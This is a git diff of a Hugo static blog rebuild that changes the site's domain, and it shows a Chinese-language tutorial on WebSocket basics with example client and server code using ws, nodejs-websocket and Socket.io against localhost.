+        }
+&lt;/script&gt;
+</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/vue/>vue</a></li><li><a href=https://chenjunlinabc.github.io/tags/element/>Element</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/158/><span class=title>« Prev</span><br><span>WebSocket学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/156/><span class=title>Next »</span><br><span>计算机网络学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/158/index.html b/posts/158/index.html
index f9782f51..df6cbd52 100644
--- a/posts/158/index.html
+++ b/posts/158/index.html
@@ -11,9 +11,9 @@
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket('ws://localhost:8080')
ws.onopen = () =>{
console.log(&#34;连接中&#34;)
ws.send('hallo word') // 向服务端发送数据
}
ws.onerror = () =>{
console.log('连接失败')
}
ws.onmessage = (evt) =>{
console.log('连接成功，正在获取数据')
if(typeof evt.data === String){
console.log('hallo'+evt.data)
}else if(evt.data instanceof ArrayBuffer){
let data = evt.data
console.log('数据：'+data)
}
ws.close() // 手动关闭连接
}
ws.onclose = () =>{
console.log('连接已关闭')
}
还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
-WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/158/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="WebSocket学习笔记"><meta property="og:description" content="HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
+const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log(&#34;连接中&#34;) ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (evt) =>{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =>{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/158/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="WebSocket学习笔记"><meta property="og:description" content="HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
 WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）
 WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源
 WebSocket客户端配置
@@ -26,8 +26,8 @@
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket('ws://localhost:8080')
ws.onopen = () =>{
console.log(&#34;连接中&#34;)
ws.send('hallo word') // 向服务端发送数据
}
ws.onerror = () =>{
console.log('连接失败')
}
ws.onmessage = (evt) =>{
console.log('连接成功，正在获取数据')
if(typeof evt.data === String){
console.log('hallo'+evt.data)
}else if(evt.data instanceof ArrayBuffer){
let data = evt.data
console.log('数据：'+data)
}
ws.close() // 手动关闭连接
}
ws.onclose = () =>{
console.log('连接已关闭')
}
还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
-WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/158/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-05T14:00:00+00:00"><meta property="article:modified_time" content="2022-11-05T14:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="WebSocket学习笔记"><meta name=twitter:description content="HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
+const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log(&#34;连接中&#34;) ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (evt) =>{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =>{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/158/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-05T14:00:00+00:00"><meta property="article:modified_time" content="2022-11-05T14:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="WebSocket学习笔记"><meta name=twitter:description content="HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
 WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）
 WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源
 WebSocket客户端配置
@@ -40,115 +40,115 @@
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket('ws://localhost:8080')
ws.onopen = () =>{
console.log(&#34;连接中&#34;)
ws.send('hallo word') // 向服务端发送数据
}
ws.onerror = () =>{
console.log('连接失败')
}
ws.onmessage = (evt) =>{
console.log('连接成功，正在获取数据')
if(typeof evt.data === String){
console.log('hallo'+evt.data)
}else if(evt.data instanceof ArrayBuffer){
let data = evt.data
console.log('数据：'+data)
}
ws.close() // 手动关闭连接
}
ws.onclose = () =>{
console.log('连接已关闭')
}
还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
-WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"WebSocket学习笔记","item":"https://xiaochenabc123.github.io/posts/158/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"WebSocket学习笔记","name":"WebSocket学习笔记","description":"HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）\nWebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）\nWebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源\nWebSocket客户端配置\nWebSocket构造函数，用来创建WebSocket实例\nconst ws = new WebSocket(\u0026lsquo;ws://127.0.0.1\u0026rsquo;)\nWebSocket.readyState实例具备4种状态，该属性是只读的，用来表示连接WebSocket服务端的状态，分别是：0（正在连接），1（连接完成并且可以通信），2（连接正在关闭），3（连接已经关闭或者连接失败）\nWebSocket.onopen是指定连接成功后执行的回调函数\nWebSocket.onerror是指定连接失败后执行的回调函数\nWebSocket.onclose是指定连接关闭后执行的回调函数\nWebSocket.onmessage是指定从服务器获取信息时执行的回调函数\n可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer\n客户端配置例如：\nconst ws = new WebSocket('ws://localhost:8080')\rws.onopen = () =\u0026gt;{\rconsole.log(\u0026quot;连接中\u0026quot;)\rws.send('hallo word') // 向服务端发送数据\r}\rws.onerror = () =\u0026gt;{\rconsole.log('连接失败')\r}\rws.onmessage = (evt) =\u0026gt;{\rconsole.log('连接成功，正在获取数据')\rif(typeof evt.data === String){\rconsole.log('hallo'+evt.data)\r}else if(evt.data instanceof ArrayBuffer){\rlet data = evt.data\rconsole.log('数据：'+data)\r}\rws.close() // 手动关闭连接\r}\rws.onclose = () =\u0026gt;{\rconsole.log('连接已关闭')\r}\r还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕\nWebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读","keywords":["WebSocket"],"articleBody":"HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）\nWebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）\nWebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源\nWebSocket客户端配置\nWebSocket构造函数，用来创建WebSocket实例\nconst ws = new WebSocket(‘ws://127.0.0.1’)\nWebSocket.readyState实例具备4种状态，该属性是只读的，用来表示连接WebSocket服务端的状态，分别是：0（正在连接），1（连接完成并且可以通信），2（连接正在关闭），3（连接已经关闭或者连接失败）\nWebSocket.onopen是指定连接成功后执行的回调函数\nWebSocket.onerror是指定连接失败后执行的回调函数\nWebSocket.onclose是指定连接关闭后执行的回调函数\nWebSocket.onmessage是指定从服务器获取信息时执行的回调函数\n可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer\n客户端配置例如：\nconst ws = new WebSocket('ws://localhost:8080')\rws.onopen = () =\u003e{\rconsole.log(\"连接中\")\rws.send('hallo word') // 向服务端发送数据\r}\rws.onerror = () =\u003e{\rconsole.log('连接失败')\r}\rws.onmessage = (evt) =\u003e{\rconsole.log('连接成功，正在获取数据')\rif(typeof evt.data === String){\rconsole.log('hallo'+evt.data)\r}else if(evt.data instanceof ArrayBuffer){\rlet data = evt.data\rconsole.log('数据：'+data)\r}\rws.close() // 手动关闭连接\r}\rws.onclose = () =\u003e{\rconsole.log('连接已关闭')\r}\r还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕\nWebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读\nWebSocket.protocol属性可以返回服务端选中的子协议名字，只读\nWebSocket.extensions属性可以返回服务端已选择的扩展值，只读\nWebSocket服务端实现（node的ws模块）\n安装ws模块\nnpm install ws\nserver.js\nconst WebSocket = require('ws') // 导入模块\rconst WebSocketServer = WebSocket.Server\rconst wsmain =new WebSocketServer({\rport: 8080\r})\rwsmain.on('connection',function(ws){ console.log('客户端已连接')\rws.on('message',function(message){\rconsole.log(`客户端发送的数据:${message}`)\rws.send('欢迎连接该ws服务端')\rws.send(message)\r})\r})\rnode server.js\n这样服务端可以接收到客户端发送的数据，服务端也可以主动给连接中的客户端发送数据\n除了ws模块外，还有nodejs-websocket，Socket.IO，µWebSockets\nnodejs-websocket搭建服务端\n安装\nnpm install nodejs-websocket\nserver.js\nconst ws = require(\"nodejs-websocket\")\rconst server = ws.createServer(function (ws) {\rws.on(\"text\", function (str) {\rconsole.log(str)\rws.sendText('hallo word')\r})\rws.on(\"close\", function (code, reason) {\rconsole.log(\"客户端已经关闭连接\")\r})\r}).listen(8080)\rapp.js\nconst ws = new WebSocket('ws://localhost:8080')\rws.onopen = () =\u003e{\rconsole.log(\"连接中\")\rws.send('hallo word') // 向服务端发送数据\rconst obj = {\rname: 'root',\rage: 20,\rpass: '123456',\remail: 'a@xiaochenabc123.test.com',\rkey: 'hallo word'\r}\rconst data = JSON.stringify(obj)\rws.send(data) // 发送json数据\r}\rws.onerror = () =\u003e{\rconsole.log('连接失败')\r}\rws.onmessage = (message) =\u003e{\rconsole.log('连接成功，正在获取数据')\rconst isJson = (str) =\u003e {\rtry{\rif(typeof JSON.parse(str) == 'object'){\rreturn true\r}\r}catch (e){\r}\rreturn false\r} if(isJson(message.data)){\rconsole.log(JSON.parse(message.data)) }else{\rconsole.log(message.data)\r}\r}\rws.onclose = () =\u003e{\rconsole.log('连接已关闭')\r}\rSocket.io基于WebSocket协议，提供HTTP长轮询（当前客户端不支持WebSocket时）和自动重新连接（提供心跳机制，定期检查连接，连接断开时会进行重新连接操作），和ws模块不同的是，Socket.io提供客户端功能，实质上Socket.io使用的是WS模块提供的WebSocket服务（默认情况），也是可以使用µWebSockets.js提供的WebSocket服务\n服务端\nnpm install socket.io\nserver.js\nimport { Server } from 'socket.io'\rconst io = new Server(3000)\rio.on('connection', socket =\u003e {\rconsole.log('已成功连接')\r// 服务端给客户端发送消息\rconsole.log('正在发送消息')\rsocket.emit('hallo','word')\rconsole.log('发送消息完成')\r// 服务端接收消息\rsocket.on('abc',(arg) =\u003e {\rconsole.log(arg)\r})\rsocket.on('disconnect', () =\u003e {\rconsole.log('连接已断开')\r})\r})\r客户端\nnpm install socket.io-client\nclient.js\nimport { io } from 'socket.io-client'\r// const socket = io()\rconst socket = io('ws://127.0.0.1:3000')\r// 客户端接收消息\rsocket.on('hallo',(arg) =\u003e{\rconsole.log(arg)\r})\rsocket.emit('abc','xyz') ","wordCount":"289","inLanguage":"en","datePublished":"2022-11-05T14:00:00Z","dateModified":"2022-11-05T14:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/158/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>WebSocket学习笔记</h1><div class=post-meta><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/WebSocket%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）</p><p>WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）</p><p>WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源</p><p>WebSocket客户端配置</p><p>WebSocket构造函数，用来创建WebSocket实例</p><p>const ws = new WebSocket(&lsquo;ws://127.0.0.1&rsquo;)</p><p>WebSocket.readyState实例具备4种状态，该属性是只读的，用来表示连接WebSocket服务端的状态，分别是：0（正在连接），1（连接完成并且可以通信），2（连接正在关闭），3（连接已经关闭或者连接失败）</p><p>WebSocket.onopen是指定连接成功后执行的回调函数</p><p>WebSocket.onerror是指定连接失败后执行的回调函数</p><p>WebSocket.onclose是指定连接关闭后执行的回调函数</p><p>WebSocket.onmessage是指定从服务器获取信息时执行的回调函数</p><p>可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer</p><p>客户端配置例如：</p><pre><code>const ws = new WebSocket('ws://localhost:8080')
-ws.onopen = () =&gt;{
-    console.log(&quot;连接中&quot;)
-    ws.send('hallo word') // 向服务端发送数据
-}
-ws.onerror = () =&gt;{
-    console.log('连接失败')
-}
-ws.onmessage = (evt) =&gt;{
-    console.log('连接成功，正在获取数据')
-    if(typeof evt.data === String){
-        console.log('hallo'+evt.data)
-    }else if(evt.data instanceof ArrayBuffer){
-        let data = evt.data
-        console.log('数据：'+data)
-    }
-    ws.close()  // 手动关闭连接
-}
-ws.onclose = () =&gt;{
-    console.log('连接已关闭')
-}
-</code></pre><p>还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕</p><p>WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读</p><p>WebSocket.protocol属性可以返回服务端选中的子协议名字，只读</p><p>WebSocket.extensions属性可以返回服务端已选择的扩展值，只读</p><hr><p>WebSocket服务端实现（node的ws模块）</p><p>安装ws模块</p><p>npm install ws</p><p>server.js</p><pre><code>const WebSocket = require('ws') // 导入模块
-const WebSocketServer = WebSocket.Server
-const wsmain =new WebSocketServer({
-    port: 8080
-})
-wsmain.on('connection',function(ws){  
-    console.log('客户端已连接')
-    ws.on('message',function(message){
-        console.log(`客户端发送的数据:${message}`)
-        ws.send('欢迎连接该ws服务端')
-        ws.send(message)
-    })
-    
-})
-</code></pre><p>node server.js</p><p>这样服务端可以接收到客户端发送的数据，服务端也可以主动给连接中的客户端发送数据</p><p>除了ws模块外，还有nodejs-websocket，Socket.IO，µWebSockets</p><p>nodejs-websocket搭建服务端</p><p>安装</p><p>npm install nodejs-websocket</p><p>server.js</p><pre><code>const ws = require(&quot;nodejs-websocket&quot;)
-const server = ws.createServer(function (ws) {
-    ws.on(&quot;text&quot;, function (str) {
-        console.log(str)
-        ws.sendText('hallo word')
-    })
-    ws.on(&quot;close&quot;, function (code, reason) {
-        console.log(&quot;客户端已经关闭连接&quot;)
-    })
-}).listen(8080)
-</code></pre><p>app.js</p><pre><code>const ws = new WebSocket('ws://localhost:8080')
-ws.onopen = () =&gt;{
-    console.log(&quot;连接中&quot;)
-    ws.send('hallo word') // 向服务端发送数据
-    const obj = {
-        name: 'root',
-        age: 20,
-        pass: '123456',
-        email: 'a@xiaochenabc123.test.com',
-        key: 'hallo word'
-    }
-    const data = JSON.stringify(obj)
-    ws.send(data) // 发送json数据
-}
-ws.onerror = () =&gt;{
-    console.log('连接失败')
-}
-ws.onmessage = (message) =&gt;{
-    console.log('连接成功，正在获取数据')
-    const isJson = (str) =&gt; {
-        try{
-            if(typeof JSON.parse(str) == 'object'){
-                return true
-            }
-        }catch (e){
-
-        }
-        return false
-    } 
-    if(isJson(message.data)){
-        console.log(JSON.parse(message.data)) 
-    }else{
-        console.log(message.data)
-    }
-}
-ws.onclose = () =&gt;{
-    console.log('连接已关闭')
-}
-</code></pre><hr><p>Socket.io基于WebSocket协议，提供HTTP长轮询（当前客户端不支持WebSocket时）和自动重新连接（提供心跳机制，定期检查连接，连接断开时会进行重新连接操作），和ws模块不同的是，Socket.io提供客户端功能，实质上Socket.io使用的是WS模块提供的WebSocket服务（默认情况），也是可以使用µWebSockets.js提供的WebSocket服务</p><p>服务端</p><p>npm install socket.io</p><p>server.js</p><pre><code>import { Server } from 'socket.io'
-const io = new Server(3000)
-io.on('connection', socket =&gt; {
-    console.log('已成功连接')
-    // 服务端给客户端发送消息
-    console.log('正在发送消息')
-    socket.emit('hallo','word')
-    console.log('发送消息完成')
-    // 服务端接收消息
-    socket.on('abc',(arg) =&gt; {
-        console.log(arg)
-    })
-    socket.on('disconnect', () =&gt; {
-        console.log('连接已断开')
-    })
-})
-</code></pre><p>客户端</p><p>npm install socket.io-client</p><p>client.js</p><pre><code>import { io } from 'socket.io-client'
-// const socket = io()
-const socket = io('ws://127.0.0.1:3000')
-// 客户端接收消息
-socket.on('hallo',(arg) =&gt;{
-    console.log(arg)
-})
